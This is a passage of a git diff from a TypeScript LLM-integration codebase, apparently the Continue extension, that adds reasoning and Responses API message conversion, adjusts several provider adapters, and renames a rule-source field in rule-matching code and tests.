? { "anthropic-beta": "prompt-caching-2024-07-31" } : {}), }, body: JSON.stringify({ ...this._anthropicConvertArgs(options), - messages: this.anthropicInstance.convertMessages(messages), + messages: this.anthropicInstance.convertMessages( + messages, + shouldCachePrompt, + ), system: shouldCacheSystemMessage ? [ { diff --git a/core/llm/llms/WatsonX.ts b/core/llm/llms/WatsonX.ts index 76dc897ad..1d1d473dd 100644 --- a/core/llm/llms/WatsonX.ts +++ b/core/llm/llms/WatsonX.ts @@ -5,6 +5,7 @@ import { Chunk, CompletionOptions, LLMOptions, + TextMessagePart, ToolCallDelta, ToolResultChatMessage, } from "../../index.js"; @@ -103,11 +104,30 @@ class WatsonX extends BaseLLM { })); delete message_.toolCalls; delete message_.content; - } else if ( - message_.role === "user" && - typeof message_.content === "string" - ) { - message_.content = [{ type: "text", text: message_.content }]; + } else if (message_.role === "user") { + if (typeof message.content === "string") { + message_.content = [{ type: "text", text: message_.content }]; + } else { + return { + role: "user", + content: !message.content.some((item) => item.type !== "text") + ? message.content + .map((item) => (item as TextMessagePart).text) + .join("") || " " + : message.content.map((part) => { + if (part.type === "imageUrl") { + return { + type: "image_url" as const, + image_url: { + url: part.imageUrl.url, + detail: "auto" as const, + }, + }; + } + return part; + }), + }; + } } return message_; } diff --git a/core/llm/llms/index.ts b/core/llm/llms/index.ts index bb4301576..6ef57eae3 100644 --- a/core/llm/llms/index.ts +++ b/core/llm/llms/index.ts @@ -17,6 +17,7 @@ import BedrockImport from "./BedrockImport"; import Cerebras from "./Cerebras"; import Cloudflare from "./Cloudflare"; import Cohere from "./Cohere"; +import CometAPI from "./CometAPI"; import DeepInfra from "./DeepInfra"; import Deepseek from "./Deepseek"; import Docker from "./Docker"; @@ -67,6 +68,7 @@ import xAI from "./xAI"; export const LLMClasses = [ Anthropic, Cohere, + CometAPI, FunctionNetwork, Gemini, Llamafile, diff --git a/core/llm/llms/stubs/ContinueProxy.ts b/core/llm/llms/stubs/ContinueProxy.ts index 41a0904e0..52d7a6b80 100644 --- a/core/llm/llms/stubs/ContinueProxy.ts +++ b/core/llm/llms/stubs/ContinueProxy.ts @@ -101,9 +101,18 @@ class ContinueProxy extends OpenAI { protected _getHeaders() { const headers: any = super._getHeaders(); headers["x-continue-unique-id"] = Telemetry.uniqueId; + headers["user-agent"] = this._getUserAgent(); return headers; } + private _getUserAgent(): string { + const ideInfo = Telemetry.ideInfo; + const extensionVersion = ideInfo?.extensionVersion ?? "unknown"; + const ideName = ideInfo?.name ?? "unknown"; + const ideType = ideInfo?.ideType ?? "unknown"; + return `Continue/${extensionVersion} (${ideName}; ${ideType})`; + } + supportsCompletions(): boolean { // This was a hotfix and contains duplicate logic from class-specific completion support methods if (this.underlyingProviderName === "vllm") { @@ -129,6 +138,7 @@ class ContinueProxy extends OpenAI { headers: { "Content-Type": "application/json", Authorization: `Bearer ${this.apiKey}`, + "user-agent": this._getUserAgent(), }, body: JSON.stringify({ query, diff --git a/core/llm/llms/xAI.ts b/core/llm/llms/xAI.ts index a6b29f01a..13a69c5fc 100644 --- a/core/llm/llms/xAI.ts +++ b/core/llm/llms/xAI.ts @@ -7,14 +7,6 @@ class xAI extends OpenAI { static defaultOptions: Partial = { apiBase: "https://api.x.ai/v1/", }; - - private static MODEL_IDS: { [name: string]: string } = { - "grok-beta": "grok-beta", // Future names might not line up - }; - - protected _convertModelName(model: string) { - return xAI.MODEL_IDS[model] || this.model; - } } export default xAI; diff --git a/core/llm/openaiTypeConverters.ts b/core/llm/openaiTypeConverters.ts index 75ea7ee91..a7e3d6bac 100644 --- a/core/llm/openaiTypeConverters.ts +++ b/core/llm/openaiTypeConverters.ts @@ -4,15 +4,97 @@ import { ChatCompletionAssistantMessageParam, ChatCompletionChunk, ChatCompletionCreateParams, + ChatCompletionMessage, ChatCompletionMessageParam, CompletionCreateParams, } from "openai/resources/index"; +import type { + EasyInputMessage, + Response as OpenAIResponse, + ResponseFunctionToolCall, + ResponseInput, + ResponseInputItem, + ResponseInputMessageContentList, + ResponseOutputMessage, + ResponseOutputText, + ResponseReasoningItem, + ResponseReasoningSummaryTextDeltaEvent, + ResponseReasoningSummaryTextDoneEvent, + ResponseReasoningTextDeltaEvent, + ResponseReasoningTextDoneEvent, + ResponseStreamEvent, + ResponseTextDeltaEvent, +} from "openai/resources/responses/responses.mjs"; -import { ChatMessage, CompletionOptions, TextMessagePart } from ".."; +import { + AssistantChatMessage, + ChatMessage, + CompletionOptions, + MessageContent, + MessagePart, + TextMessagePart, + ThinkingChatMessage, + ToolCallDelta, +} from ".."; + +function appendReasoningFieldsIfSupported( + msg: ChatCompletionAssistantMessageParam & { + reasoning?: string; + reasoning_details?: any[]; + }, + options: CompletionOptions, + prevMessage?: ChatMessage, + providerFlags?: { + includeReasoningField?: boolean; + includeReasoningDetailsField?: boolean; + }, +) { + if (!prevMessage || prevMessage.role !== "thinking") return; + + const includeReasoning = !!providerFlags?.includeReasoningField; + const includeReasoningDetails = !!providerFlags?.includeReasoningDetailsField; + if (!includeReasoning && !includeReasoningDetails) return; + + const reasoningDetailsValue = + prevMessage.reasoning_details || + (prevMessage.signature + ? [{ signature: prevMessage.signature }] + : undefined); + + // Claude-specific safeguard: prevent errors when switching to Claude after another model. + // Claude requires a signed reasoning_details block; if missing, we must omit both fields. + // This check is done before adding any fields to avoid deletes. + if ( + includeReasoningDetails && + options.model.includes("claude") && + !( + Array.isArray(reasoningDetailsValue) && + reasoningDetailsValue.some((d) => d && d.signature) + ) + ) { + console.warn( + "Omitting reasoning fields for Claude: no signature present in reasoning_details", + ); + return; + } + + if (includeReasoningDetails && reasoningDetailsValue) { + msg.reasoning_details = reasoningDetailsValue || []; + } + if (includeReasoning) { + msg.reasoning = prevMessage.content as string; + } +} export function toChatMessage( message: ChatMessage, -): ChatCompletionMessageParam { + options: CompletionOptions, + prevMessage?: ChatMessage, + providerFlags?: { + includeReasoningField?: boolean; + includeReasoningDetailsField?: boolean; + }, +): ChatCompletionMessageParam | null { if (message.role === "tool") { return { role: "tool", @@ -26,18 +108,30 @@ export function toChatMessage( content: message.content, }; } + if (message.role === "thinking") { + // Return null - thinking messages are merged into following assistant messages + return null; + } if (message.role === "assistant") { - const msg: ChatCompletionAssistantMessageParam = { + // Base assistant message + const msg: ChatCompletionAssistantMessageParam & { + reasoning?: string; + reasoning_details?: { + [key: string]: any; + signature?: string | undefined; + }[]; + } = { role: "assistant", content: typeof message.content === "string" ? message.content || " " // LM Studio (and other providers) don't accept empty content : message.content .filter((part) => part.type === "text") - .map((part) => part as TextMessagePart), // can remove with newer typescript version + .map((part) => part as TextMessagePart), }; + // Add tool calls if present if (message.toolCalls) { msg.tool_calls = message.toolCalls.map((toolCall) => ({ id: toolCall.id!, @@ -48,7 +142,16 @@ export function toChatMessage( }, })); } - return msg; + + // Preserving reasoning blocks + appendReasoningFieldsIfSupported( + msg as any, + options, + prevMessage, + providerFlags, + ); + + return msg as ChatCompletionMessageParam; } else { if (typeof message.content === "string") { return { @@ -62,11 +165,8 @@ export function toChatMessage( // that don't support multi-media format return { role: "user", - content: !message.content.some((item) => item.type !== "text") - ? message.content - .map((item) => (item as TextMessagePart).text) - .join("") || " " - : message.content.map((part) => { + content: message.content.some((item) => item.type !== "text") + ? message.content.map((part) => { if (part.type === "imageUrl") { return { type: "image_url" as const, @@ -77,7 +177,10 @@ export function toChatMessage( }; } return part; - }), + }) + : message.content + .map((item) => (item as TextMessagePart).text) + .join("") || " ", }; } } @@ -85,9 +188,17 @@ export function toChatMessage( export function toChatBody( messages: ChatMessage[], options: CompletionOptions, + providerFlags?: { + includeReasoningField?: boolean; + includeReasoningDetailsField?: boolean; + }, ): ChatCompletionCreateParams { const params: ChatCompletionCreateParams = { - messages: messages.map(toChatMessage), + messages: messages + .map((m, index) => + toChatMessage(m, options, messages[index - 1], providerFlags), + ) + .filter((m) => m !== null) as ChatCompletionMessageParam[], model: options.model, max_tokens: options.maxTokens, temperature: options.temperature, @@ -153,11 +264,40 @@ export function toFimBody( } as any; } -export function fromChatResponse(response: ChatCompletion): ChatMessage { - const message = response.choices[0].message; +export function fromChatResponse(response: ChatCompletion): ChatMessage[] { + const messages: ChatMessage[] = []; + const message = response.choices[0].message as ChatCompletionMessage & { + reasoning?: string; + reasoning_content?: string; + reasoning_details?: { + signature?: string; + [key: string]: any; + }[]; + }; + + // Check for reasoning content first (similar to fromChatCompletionChunk) + if (message.reasoning_content || message.reasoning) { + const thinkingMessage: ChatMessage = { + role: "thinking", + content: (message as any).reasoning_content || (message as any).reasoning, + }; + + // Preserve reasoning_details if present + if (message.reasoning_details) { + thinkingMessage.reasoning_details = message.reasoning_details; + // Extract signature from reasoning_details if available + if (message.reasoning_details[0]?.signature) { + thinkingMessage.signature = message.reasoning_details[0].signature; + } + } + + messages.push(thinkingMessage); + } + + // Then add the assistant message const toolCall = message.tool_calls?.[0]; if (toolCall) { - return { + messages.push({ role: "assistant", content: "", toolCalls: message.tool_calls @@ -170,19 +310,29 @@ export function fromChatResponse(response: ChatCompletion): ChatMessage { arguments: (tc as any).function?.arguments, }, })), - }; + }); + } else { + messages.push({ + role: "assistant", + content: message.content ?? "", + }); } - return { - role: "assistant", - content: message.content ?? "", - }; + return messages; } export function fromChatCompletionChunk( chunk: ChatCompletionChunk, ): ChatMessage | undefined { - const delta = chunk.choices?.[0]?.delta; + const delta = chunk.choices?.[0]?.delta as + | (ChatCompletionChunk.Choice.Delta & { + reasoning?: string; + reasoning_content?: string; + reasoning_details?: { + signature?: string; + }[]; + }) + | undefined; if (delta?.content) { return { @@ -208,11 +358,568 @@ export function fromChatCompletionChunk( toolCalls, }; } + } else if ( + delta?.reasoning_content || + delta?.reasoning || + delta?.reasoning_details?.length + ) { + const message: ThinkingChatMessage = { + role: "thinking", + content: delta.reasoning_content || delta.reasoning || "", + signature: delta?.reasoning_details?.[0]?.signature, + reasoning_details: delta?.reasoning_details as any[], + }; + return message; } return undefined; } +function handleTextDeltaEvent( + e: ResponseTextDeltaEvent, +): ChatMessage | undefined { + return e.delta ? { role: "assistant", content: e.delta } : undefined; +} + +function handleFunctionCallArgsDelta(e: any): ChatMessage | undefined { + const ev: any = e as any; + const item = ev.item || {}; + const name = item && typeof item.name === "string" ? item.name : undefined; + const argDelta = + typeof ev.delta === "string" + ? ev.delta + : (ev.delta?.arguments ?? ev.arguments); + if (typeof argDelta === "string" && argDelta.length > 0) { + const call_id = + (item?.call_id as string | undefined) || + (item?.id as string | undefined) || + ""; + const toolCalls: ToolCallDelta[] = [ + { + id: call_id, + type: "function", + function: { name: name || "", arguments: argDelta }, + }, + ]; + const assistant: AssistantChatMessage = { + role: "assistant", + content: "", + toolCalls, + }; + return assistant; + } + return undefined; +} + +function handleOutputItemAdded( + e: ResponseStreamEvent, +): ChatMessage | undefined { + const item = (e as any).item as { + type?: string; + id?: string; + name?: string; + arguments?: string; + call_id?: string; + summary?: Array<{ type: string; text: string }>; + encrypted_content?: string; + }; + if (!item || !item.type) return undefined; + if (item.type === "reasoning") { + const details: Array<{ [k: string]: unknown }> = []; + if (item.id) details.push({ type: "reasoning_id", id: item.id }); + if (typeof item.encrypted_content === "string" && item.encrypted_content) { + details.push({ + type: "encrypted_content", + encrypted_content: item.encrypted_content, + }); + } + if (Array.isArray(item.summary)) { + for (const part of item.summary) { + if (part?.type === "summary_text" && typeof part.text === "string") { + details.push({ type: "summary_text", text: part.text }); + } + } + } + const thinking: ThinkingChatMessage = { + role: "thinking", + content: "", + reasoning_details: details, + metadata: { + reasoningId: item.id as string, + encrypted_content: item.encrypted_content as string | undefined, + }, + }; + return thinking; + } + if (item.type === "message" && typeof item.id === "string") { + return { + role: "assistant", + content: "", + metadata: { responsesOutputItemId: item.id }, + }; + } + if (item.type === "function_call" && typeof item.id === "string") { + const name = item.name as string | undefined; + const args = typeof item.arguments === "string" ? item.arguments : ""; + const call_id = item.call_id as string | undefined; + const toolCalls: ToolCallDelta[] = name + ? [ + { + id: call_id || (item.id as string), + type: "function", + function: { name, arguments: args }, + }, + ] + : []; + const assistant: AssistantChatMessage = { + role: "assistant", + content: "", + toolCalls, + metadata: { responsesOutputItemId: item.id as string }, + }; + return assistant; + } + return undefined; +} + +function handleReasoningSummaryDelta( + e: ResponseReasoningSummaryTextDeltaEvent, +): ChatMessage | undefined { + const details: Array<{ [k: string]: unknown }> = [ + { type: "summary_text", text: e.delta }, + ]; + if ((e as any).item_id) + details.push({ type: "reasoning_id", id: (e as any).item_id }); + const thinking: ThinkingChatMessage = { + role: "thinking", + content: e.delta, + reasoning_details: details, + }; + return thinking; +} + +function handleReasoningSummaryDone( + e: ResponseReasoningSummaryTextDoneEvent, +): ChatMessage | undefined { + const details: Array<{ [k: string]: unknown }> = []; + if (e.text) details.push({ type: "summary_text", text: e.text }); + if ((e as any).item_id) + details.push({ type: "reasoning_id", id: (e as any).item_id }); + const thinking: ThinkingChatMessage = { + role: "thinking", + content: e.text, + reasoning_details: details, + }; + return thinking; +} + +function handleReasoningTextDelta( + e: ResponseReasoningTextDeltaEvent, +): ChatMessage | undefined { + const details: Array<{ [k: string]: unknown }> = [ + { type: "reasoning_text", text: e.delta }, + ]; + if ((e as any).item_id) + details.push({ type: "reasoning_id", id: (e as any).item_id }); + const thinking: ThinkingChatMessage = { + role: "thinking", + content: e.delta, + reasoning_details: details, + }; + return thinking; +} + +function handleReasoningTextDone( + e: ResponseReasoningTextDoneEvent, +): ChatMessage | undefined { + const details: Array<{ [k: string]: unknown }> = []; + if (e.text) details.push({ type: "reasoning_text", text: e.text }); + if ((e as any).item_id) + details.push({ type: "reasoning_id", id: (e as any).item_id }); + const thinking: ThinkingChatMessage = { + role: "thinking", + content: e.text, + reasoning_details: details, + }; + return thinking; +} + +function handleResponsesStreamEvent( + e: ResponseStreamEvent, +): ChatMessage | undefined { + const t = (e as any).type as string; + if (t === "response.output_text.delta") { + return handleTextDeltaEvent(e as ResponseTextDeltaEvent); + } + if (t === "response.output_text.done") { + return undefined; // avoid duplicate final text + } + if (t === "response.function_call_arguments.delta") { + return handleFunctionCallArgsDelta(e); + } + if (t === "response.function_call_arguments.done") { + return undefined; + } + if (t === "response.output_item.added") { + return handleOutputItemAdded(e); + } + if (t === "response.reasoning_summary_text.delta") { + return handleReasoningSummaryDelta( + e as ResponseReasoningSummaryTextDeltaEvent, + ); + } + if (t === "response.reasoning_summary_text.done") { + return handleReasoningSummaryDone( + e as ResponseReasoningSummaryTextDoneEvent, + ); + } + if (t === "response.reasoning_text.delta") { + return handleReasoningTextDelta(e as ResponseReasoningTextDeltaEvent); + } + if (t === "response.reasoning_text.done") { + return handleReasoningTextDone(e as ResponseReasoningTextDoneEvent); + } + return undefined; +} + +function handleResponsesFinal( + resp: OpenAIResponse, +): ChatMessage | ChatMessage[] | undefined { + // Prefer structured output items when present + if (Array.isArray(resp.output) && resp.output.length > 0) { + const result: ChatMessage[] = []; + for (const raw of resp.output as any[]) { + const item = raw as any; + if (!item || typeof item !== "object") continue; + if (item.type === "reasoning") { + const details: Array<{ [k: string]: unknown }> = []; + if (typeof item.id === "string") { + details.push({ type: "reasoning_id", id: item.id }); + } + if (Array.isArray(item.summary)) { + for (const s of item.summary) { + if (s?.type === "summary_text" && typeof s.text === "string") { + details.push({ type: "summary_text", text: s.text }); + } + } + } + if (Array.isArray(item.content)) { + for (const c of item.content) { + if (c?.type === "reasoning_text" && typeof c.text === "string") { + details.push({ type: "reasoning_text", text: c.text }); + } + } + } + if ( + typeof item.encrypted_content === "string" && + item.encrypted_content + ) { + details.push({ + type: "encrypted_content", + encrypted_content: item.encrypted_content, + }); + } + const thinking: ThinkingChatMessage = { + role: "thinking", + content: "", + reasoning_details: details, + metadata: { + reasoningId: item.id as string, + encrypted_content: item.encrypted_content as string | undefined, + }, + }; + result.push(thinking); + continue; + } + if (item.type === "message") { + let text = ""; + if (Array.isArray(item.content)) { + text = (item.content as any[]) + .map((c) => (typeof c?.text === "string" ? c.text : "")) + .join(""); + } else if (typeof item.content === "string") { + text = item.content; + } + const assistant: AssistantChatMessage = { + role: "assistant", + content: text || "", + metadata: + typeof item.id === "string" + ? { responsesOutputItemId: item.id } + : undefined, + }; + result.push(assistant); + continue; + } + if (item.type === "function_call") { + const name = item.name as string | undefined; + const args = + typeof item.arguments === "string" + ? item.arguments + : JSON.stringify(item.arguments ?? ""); + const call_id = + (item.call_id as string | undefined) || + (item.id as string | undefined) || + ""; + const toolCalls: ToolCallDelta[] = name + ? [ + { + id: call_id, + type: "function", + function: { name, arguments: args || "" }, + }, + ] + : []; + const assistant: AssistantChatMessage = { + role: "assistant", + content: "", + toolCalls, + metadata: + typeof item.id === "string" + ? { responsesOutputItemId: item.id } + : undefined, + }; + result.push(assistant); + continue; + } + } + if (result.length > 0) return result; + } + + // Fallback to output_text when no structured output is present + if (typeof resp.output_text === "string" && resp.output_text.length > 0) { + return { role: "assistant", content: resp.output_text }; + } + + return undefined; +} + +export function fromResponsesChunk( + event: ResponseStreamEvent | OpenAIResponse, +): ChatMessage | ChatMessage[] | undefined { + if (typeof (event as any).type === "string") { + return handleResponsesStreamEvent(event as ResponseStreamEvent); + } + return handleResponsesFinal(event as OpenAIResponse); +} + +export function mergeReasoningDetails( + existing: any[] | undefined, + delta: any[] | undefined, +): any[] | undefined { + if (!delta) return existing; + if (!existing) return delta; + + const result = [...existing]; + + for (const deltaItem of delta) { + // Skip items without a type + if (!deltaItem.type) { + continue; + } + + // Find existing item with the same type + const existingIndex = result.findIndex( + (item) => item.type === deltaItem.type, + ); + + if (existingIndex === -1) { + // No existing item with this type, add new item + result.push({ ...deltaItem }); + } else { + // Merge with existing item of the same type + const existingItem = result[existingIndex]; + + for (const [key, value] of Object.entries(deltaItem)) { + if (value === null || value === undefined) continue; + + if (key === "text" || key === "signature" || key === "summary") { + // Concatenate text and signature fields + existingItem[key] = (existingItem[key] || "") + value; + } else if (key !== "type") { + // Don't overwrite type + // Overwrite other fields + existingItem[key] = value; + } + } + } + } + + return result; +} + +function getTextFromMessageContent(content: MessageContent): string { + if (typeof content === "string") return content; + return content + .filter((p): p is TextMessagePart => p.type === "text") + .map((p) => p.text) + .join(""); +} + +function toResponseInputContentList( + parts: MessagePart[], +): ResponseInputMessageContentList { + const list: ResponseInputMessageContentList = []; + for (const part of parts) { + if (part.type === "text") { + list.push({ type: "input_text", text: part.text }); + } else if (part.type === "imageUrl") { + list.push({ + type: "input_image", + image_url: part.imageUrl.url, + detail: "auto", + }); + } + } + return list; +} + +export function toResponsesInput(messages: ChatMessage[]): ResponseInput { + const input: ResponseInput = []; + + const pushMessage = ( + role: "user" | "assistant" | "system" | "developer", + content: string | ResponseInputMessageContentList, + ) => { + const normalizedRole: "user" | "assistant" | "system" | "developer" = + role === "system" ? "developer" : role; + const easyMsg: EasyInputMessage = { + role: normalizedRole, + content, + type: "message", + }; + input.push(easyMsg as ResponseInputItem); + }; + + for (let i = 0; i < messages.length; i++) { + const msg = messages[i]; + switch (msg.role) { + case "system": { + const content = getTextFromMessageContent(msg.content); + pushMessage("developer", content || ""); + break; + } + case "user": { + if (typeof msg.content === "string") { + pushMessage("user", msg.content); + } else if (Array.isArray(msg.content)) { + const parts = toResponseInputContentList( + msg.content as MessagePart[], + ); + pushMessage("user", parts.length ? parts : ""); + } + break; + } + case "assistant": { + const text = getTextFromMessageContent(msg.content); + + const respId = msg.metadata?.responsesOutputItemId as + | string + | undefined; + const toolCalls = msg.toolCalls as ToolCallDelta[] | undefined; + + if (respId && Array.isArray(toolCalls) && toolCalls.length > 0) { + // Emit full function_call output item + const tc = toolCalls[0]; + const name = tc?.function?.name as string | undefined; + const args = tc?.function?.arguments as string | undefined; + const call_id = tc?.id as string | undefined; + const functionCallItem: ResponseFunctionToolCall = { + id: respId, + type: "function_call", + name: name || "", + arguments: typeof args === "string" ? args : "{}", + call_id: call_id || respId, + }; + input.push(functionCallItem); + } else if (respId) { + // Emit full assistant output message item + const outputMessageItem: ResponseOutputMessage = { + id: respId, + role: "assistant", + type: "message", + status: "completed", + content: [ + { + type: "output_text", + text: text || "", + annotations: [], + } satisfies ResponseOutputText, + ], + }; + input.push(outputMessageItem); + } else { + // Fallback to EasyInput assistant message + pushMessage("assistant", text || ""); + } + break; + } + case "tool": { + const call_id = msg.toolCallId; + const output = + typeof msg.content === "string" + ? msg.content + : JSON.stringify(msg.content); + const functionCallOutput: ResponseInputItem = { + type: "function_call_output", + call_id, + output, + } as ResponseInputItem; + input.push(functionCallOutput); + break; + } + case "thinking": { + const details = (msg as ThinkingChatMessage).reasoning_details ?? []; + if (details.length) { + let id: string | undefined; + let summaryText = ""; + let encrypted: string | undefined; + let reasoningText = ""; + for (const raw of details as Array>) { + const d = raw as { + type?: string; + id?: string; + text?: string; + encrypted_content?: string; + }; + if (d.type === "reasoning_id" && d.id) id = d.id; + else if (d.type === "encrypted_content" && d.encrypted_content) + encrypted = d.encrypted_content; + else if (d.type === "summary_text" && typeof d.text === "string") + summaryText += d.text; + else if (d.type === "reasoning_text" && typeof d.text === "string") + reasoningText += d.text; + } + if (id) { + const reasoningItem: ResponseReasoningItem = { + id, + type: "reasoning", + summary: [], + } as ResponseReasoningItem; + if (summaryText) { + reasoningItem.summary = [ + { type: "summary_text", text: summaryText }, + ]; + } + if (reasoningText) { + reasoningItem.content = [ + { type: "reasoning_text", text: reasoningText }, + ]; + } + if (encrypted) { + reasoningItem.encrypted_content = encrypted; + } + input.push(reasoningItem as ResponseInputItem); + } + } + break; + } + } + } + + return input; +} + export type LlmApiRequestType = | "chat" | "streamChat" diff --git a/core/llm/rules/alwaysApply.vitest.ts b/core/llm/rules/alwaysApply.vitest.ts index f8d6e1160..f586ff87d 100644 --- a/core/llm/rules/alwaysApply.vitest.ts +++ b/core/llm/rules/alwaysApply.vitest.ts @@ -44,7 +44,7 @@ describe("alwaysApply Behavior", () => { alwaysApply: true, globs: "**/*.tsx", // Should be ignored since alwaysApply is true source: "rules-block", - ruleFile: ".continue/rules.md", + sourceFile: ".continue/rules.md", }; // Test with no file context @@ -83,7 +83,7 @@ describe("alwaysApply Behavior", () => { alwaysApply: false, globs: "**/*.tsx", source: "rules-block", - ruleFile: ".continue/rules.md", + sourceFile: ".continue/rules.md", }; // Rule with alwaysApply: false and no globs @@ -93,7 +93,7 @@ describe("alwaysApply Behavior", () => { alwaysApply: false, // No globs source: "rules-block", - ruleFile: ".continue/rules.md", + sourceFile: ".continue/rules.md", }; // Test with no file context @@ -131,7 +131,7 @@ describe("alwaysApply Behavior", () => { name: "Default No Globs Rule", rule: "Default rule with no globs", source: "rules-block", - ruleFile: ".continue/rules.md", + sourceFile: ".continue/rules.md", // No alwaysApply, no globs }; @@ -141,7 +141,7 @@ describe("alwaysApply Behavior", () => { rule: "Default rule with globs", globs: "**/*.tsx", source: "rules-block", - ruleFile: ".continue/rules.md", + sourceFile: ".continue/rules.md", // No alwaysApply, with globs }; diff --git a/core/llm/rules/alwaysApplyRules.vitest.ts b/core/llm/rules/alwaysApplyRules.vitest.ts index 538ab03cf..b6073bf7d 100644 --- a/core/llm/rules/alwaysApplyRules.vitest.ts +++ b/core/llm/rules/alwaysApplyRules.vitest.ts @@ -15,7 +15,7 @@ describe("Rule application with alwaysApply", () => { rule: "This rule should always be applied", alwaysApply: true, source: "rules-block", - ruleFile: ".continue/always-apply.md", + sourceFile: ".continue/always-apply.md", }; // Create a colocated rule in a nested directory @@ -23,7 +23,7 @@ describe("Rule application with alwaysApply", () => { name: "Nested Directory Rule", rule: "This rule applies to files in the nested directory", source: "rules-block", - ruleFile: "nested-folder/rules.md", + sourceFile: "nested-folder/rules.md", }; it("should apply alwaysApply rules even with no file references", () => { @@ -145,7 +145,7 @@ describe("Rule application with alwaysApply", () => { rule: "This rule has alwaysApply: true but is blocked by rulePolicies", alwaysApply: true, source: "rules-block", - ruleFile: "src/some/path.md", + sourceFile: "src/some/path.md", }; // Message with no code blocks or file references diff --git a/core/llm/rules/fileProtocolMatching.vitest.ts b/core/llm/rules/fileProtocolMatching.vitest.ts index 075ca0472..310e868c5 100644 --- a/core/llm/rules/fileProtocolMatching.vitest.ts +++ b/core/llm/rules/fileProtocolMatching.vitest.ts @@ -8,7 +8,7 @@ describe("File Path Protocol Matching", () => { name: "Rule with file:// protocol", rule: "This is a test rule", source: "rules-block", - ruleFile: "file:///Users/user/project/nested-folder/rules.md", + sourceFile: "file:///Users/user/project/nested-folder/rules.md", }; it("should match relative paths with file:// protocol paths", () => { diff --git a/core/llm/rules/getSystemMessageWithRules.ts b/core/llm/rules/getSystemMessageWithRules.ts index dc03ad43f..cce647c14 100644 --- a/core/llm/rules/getSystemMessageWithRules.ts +++ b/core/llm/rules/getSystemMessageWithRules.ts @@ -1,6 +1,7 @@ import { minimatch } from "minimatch"; import { ContextItemWithId, + RuleMetadata, RuleWithSource, ToolResultChatMessage, UserChatMessage, @@ -132,7 +133,7 @@ const isFileInDirectory = ( * Checks if a rule is a root-level rule (.continue directory or no file path) */ const isRootLevelRule = (rule: RuleWithSource): boolean => { - return !rule.ruleFile || rule.ruleFile.includes(".continue/"); // ruleFile path is absolute - hence we need to check for it in between + return !rule.sourceFile || rule.sourceFile.includes(".continue/"); // sourceFile path is absolute - hence we need to check for it in between }; /** @@ -230,8 +231,8 @@ export const shouldApplyRule = ( const isRootRule = isRootLevelRule(rule); // For non-root rules, we need to check if any files are in the rule's directory - if (!isRootRule && rule.ruleFile) { - const ruleDirectory = getCleanUriPath(rule.ruleFile); + if (!isRootRule && rule.sourceFile) { + const ruleDirectory = getCleanUriPath(rule.sourceFile); const lastSlashIndex = ruleDirectory.lastIndexOf("/"); const ruleDirPath = lastSlashIndex !== -1 ? ruleDirectory.substring(0, lastSlashIndex) : ""; @@ -324,8 +325,8 @@ export const getApplicableRules = ( return applicableRules; }; -export function getRuleId(rule: RuleWithSource): string { - return rule.slug ?? rule.ruleFile ?? rule.name ?? rule.source; +export function getRuleId(rule: RuleMetadata): string { + return rule.slug ?? rule.sourceFile ?? rule.name ?? rule.source; } export const getSystemMessageWithRules = ({ @@ -342,7 +343,7 @@ export const getSystemMessageWithRules = ({ rulePolicies?: RulePolicies; }): { systemMessage: string; - appliedRules: RuleWithSource[]; + appliedRules: RuleMetadata[]; } => { const appliedRules = getApplicableRules( userMessage, @@ -359,8 +360,10 @@ export const getSystemMessageWithRules = ({ systemMessage += rule.rule; } + const ruleMetadata = appliedRules.map(({ rule, ...rest }) => rest); + return { systemMessage, - appliedRules, + appliedRules: ruleMetadata, }; }; diff --git a/core/llm/rules/getSystemMessageWithRules.vitest.ts b/core/llm/rules/getSystemMessageWithRules.vitest.ts index 9f350197d..104ceecf8 100644 --- a/core/llm/rules/getSystemMessageWithRules.vitest.ts +++ b/core/llm/rules/getSystemMessageWithRules.vitest.ts @@ -20,7 +20,7 @@ describe("Rule colocation glob matching", () => { name: "Components Rule", rule: "Use functional components with hooks", source: "rules-block", - ruleFile: "src/components/rules.md", + sourceFile: "src/components/rules.md", // No explicit globs - should only apply to files in src/components/ directory }; @@ -43,7 +43,7 @@ describe("Rule colocation glob matching", () => { rule: "Use TypeScript with React components", globs: "**/*.tsx", // Only .tsx files source: "rules-block", - ruleFile: "src/components/rules.md", + sourceFile: "src/components/rules.md", // Should only apply to .tsx files in src/components/ directory }; @@ -69,7 +69,7 @@ describe("Rule colocation glob matching", () => { name: "Root Rule", rule: "Follow project standards", source: "rules-block", - ruleFile: "/path/to/repo/.continue/rules.md", + sourceFile: "/path/to/repo/.continue/rules.md", // No restriction, should apply to all files }; @@ -89,7 +89,7 @@ describe("Rule colocation glob matching", () => { rule: "Follow these guidelines always", alwaysApply: true, source: "rules-block", - ruleFile: "src/specific/rules.md", + sourceFile: "src/specific/rules.md", // Should apply to all files regardless of directory }; @@ -107,7 +107,7 @@ describe("Rule colocation glob matching", () => { rule: "This rule should never apply", alwaysApply: false, source: "rules-block", - ruleFile: "src/specific/rules.md", + sourceFile: "src/specific/rules.md", // Should never apply since alwaysApply is false and there are no globs }; @@ -121,7 +121,7 @@ describe("Rule colocation glob matching", () => { rule: "Apply to TS files but not test files", globs: ["**/*.ts", "!**/*.test.ts", "!**/*.spec.ts"], source: "rules-block", - ruleFile: "src/utils/rules.md", + sourceFile: "src/utils/rules.md", // Should only apply to non-test TS files in src/utils/ }; @@ -147,7 +147,7 @@ describe("Rule policies", () => { name: "Components Rule", rule: "Use functional components with hooks", source: "rules-block", - ruleFile: "src/components/rules.md", + sourceFile: "src/components/rules.md", }; const testFiles = ["src/components/Button.tsx"]; @@ -167,7 +167,7 @@ describe("Rule policies", () => { rule: "This rule would normally always apply", alwaysApply: true, source: "rules-block", - ruleFile: "src/components/rules.md", + sourceFile: "src/components/rules.md", }; const offPolicies: RulePolicies = { @@ -212,7 +212,7 @@ describe("Rule policies", () => { name: "Root Rule", rule: "Follow project standards", source: "rules-block", - ruleFile: "/my/project/.continue/rules.md", + sourceFile: "/my/project/.continue/rules.md", }; // Off policy should override even global rules @@ -238,7 +238,7 @@ describe("Rule policies", () => { alwaysApply: true, globs: "**/*.ts", source: "rules-block", - ruleFile: "src/utils/rules.md", + sourceFile: "src/utils/rules.md", }; // Off policy should win over everything @@ -261,7 +261,7 @@ describe("Content pattern matching", () => { rule: "Follow React component standards", regex: "export (function|const) \\w+.*\\(", source: "rules-block", - ruleFile: "src/components/rules.md", + sourceFile: "src/components/rules.md", }; // File that matches the pattern @@ -293,7 +293,7 @@ describe("Content pattern matching", () => { rule: "Apply to functions or classes", regex: ["function\\s+\\w+", "class\\s+\\w+"], source: "rules-block", - ruleFile: "src/utils/rules.md", + sourceFile: "src/utils/rules.md", }; const filePath = "src/utils/helper.ts"; @@ -332,7 +332,7 